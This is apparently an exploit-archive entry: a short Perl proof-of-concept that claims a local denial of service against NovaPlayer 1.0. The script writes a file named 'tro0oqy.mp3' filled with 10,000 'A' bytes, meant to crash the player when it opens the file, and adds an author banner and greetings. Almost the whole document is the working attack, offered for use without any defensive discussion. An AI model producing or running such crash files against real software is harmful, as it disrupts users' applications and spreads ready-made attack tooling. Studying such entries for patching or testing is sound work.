NovaPlayer 1.0 - '.mp3' File Local Denial of Service (2)

#!/usr/bin/perl
print qq (
######################################################
#NovaPlayer 1.0 (.mp3) Local Denial of Service (DoS) #
# by Mr.tro0oqy #
######################################################
);
#author: Mr.tro0oqy
#email : t.4@windowslive.com<mailto:t.4@windowslive.com>
#greetz : Red-D3v1L , virus_hima , Stack
system ("color e");
my $bb="tro0oqy.mp3";
my $fk="\x41" x 10000;
open (myfile,'>>tro0oqy.mp3');
print myfile $fk;
print "great\n "